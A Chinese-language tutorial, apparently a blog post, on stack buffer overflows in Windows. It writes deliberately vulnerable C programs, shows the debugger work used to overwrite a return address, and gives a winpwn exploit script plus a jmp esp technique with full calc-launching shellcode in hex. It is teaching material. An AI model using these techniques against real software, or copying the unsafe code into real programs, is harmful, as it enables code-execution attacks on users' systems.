缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,我们使用精心设计的shellcode来覆盖合法的数据,从何使我们的shellcode得到执行。
环境配置
使用vc++6.0
关闭优化。

调试第三方程序需要设置仅为基本windows程序启用dep(默认即可),不然jmp esp会退出的。
修改返回地址
漏洞代码:存在一个exp函数,但是main并没有调用
#include <stdio.h>
#include <windows.h>
void exp(){
system("calc");
}
int main() {
char buf[4] = "";
scanf("%s", buf);
return 0;
}
ida定位main函数
00401364

OD在main函数下断点

运行起来到main函数断下来,main函数下一个地址是00401369,进入main函数的时候会把这个地址入栈

可以看到main下一行的00401369入栈了,地址为0019FF34

继续往下运行到scanf,scanf接收到数据保存到buf,但是buf只允许输入4个字符,超出的字符会覆盖栈区。为了方便观察传递aaaabbbbccccdddd
输入回车后栈区的0019FF34被覆盖掉了,63636363对应ascii为cccc,此时偏移量为8位(缓冲区4+EBP)

运行到ret,当前栈顶为0019FF34,也就是进入main函数压栈的那个地址,现在对应的地址为63636363

F8运行后跳转到63636363地址。
由于地址不存在程序报错退出,这样可以造成一个拒绝服务攻击
由于代码有一个exp函数,可以把返回地址覆盖为exp函数的开头,导致exp函数被执行
ida查找exp函数地址,401005

使用winpwn传递参数,AAAABBBB再加上exp函数地址
import time
from winpwn import *
local = True
debug = True
if debug:
context.log_level = 'debug'
io = process('./Test1.exe')
payload = 'AAAABBBB'+p32(0x00401005)
io.sendline(payload)
try:
io.interactive()
except EOFError:
print("程序可能已崩溃或未正确响应")
jmp esp
栈覆盖返回地址并且ret后,ESP是返回地址的下一个地址,如果返回一个jmp esp的地址,他会跳转到栈区,并且栈区现在是可控的,这样就可以执行任意命令。

查找jmp esp地址
使用user32.dll的jmp esp地址,待会儿也要在.C文件导入这个dll
https://blog.csdn.net/qq_28429161/article/details/107477997

下载Shellcode
使用exploit-db网站的shellcode,下面这个是打开计算器的shellcode
https://www.exploit-db.com/shellcodes/48116

strcpy函数复制buff到buf,buf缓冲区是4个,如果输入过大的地址则会覆盖缓冲区
#include <stdio.h>
#include <windows.h>
char buff[] = "";
int main() {
char buf[4];
LoadLibrary("user32.dll");
strcpy(buf,buff);
printf(buf);
return 0;
}
buf是4个字节填充即可,ebp也是填充即可,esp使用上面获取到的地址,shellcode使用exploit-db提供的。
buf+ebp+esp+shellcode
构造payload:
char buff[] = "\x64\x65\x66\x67\x68\x69\x70\x71\x0f\xa7\xe3\x75\x89\xe5\x83\xec\x20\x31\xdb\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x1b\x8b\x43\x08\x89\x45\xfc\x8b\x58\x3c\x01\xc3\x8b\x5b\x78\x01\xc3\x8b\x7b\x20\x01\xc7\x89\x7d\xf8\x8b\x4b\x24\x01\xc1\x89\x4d\xf4\x8b\x53\x1c\x01\xc2\x89\x55\xf0\x8b\x53\x14\x89\x55\xec\xeb\x32\x31\xc0\x8b\x55\xec\x8b\x7d\xf8\x8b\x75\x18\x31\xc9\xfc\x8b\x3c\x87\x03\x7d\xfc\x66\x83\xc1\x08\xf3\xa6\x74\x05\x40\x39\xd0\x72\xe4\x8b\x4d\xf4\x8b\x55\xf0\x66\x8b\x04\x41\x8b\x04\x82\x03\x45\xfc\xc3\xba\x78\x78\x65\x63\xc1\xea\x08\x52\x68\x57\x69\x6e\x45\x89\x65\x18\xe8\xb8\xff\xff\xff\x31\xc9\x51\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x89\xe3\x41\x51\x53\xff\xd0\x31\xc9\xb9\x01\x65\x73\x73\xc1\xe9\x08\x51\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x89\x65\x18\xe8\x87\xff\xff\xff\x31\xd2\x52\xff\xd0";
运行后成功执行了机器码

od分析
进入main函数,返回地址为0019FF34 00401329

执行完strcpy函数,返回地址被覆盖为jmp esp的地址,同时栈后面的数据也被覆盖为shellcode

ret后跳转到esp,esp指向返回地址后面的一个地址

运行后跳转到shellcode地址

执行到0019FFD7 弹出来计算器



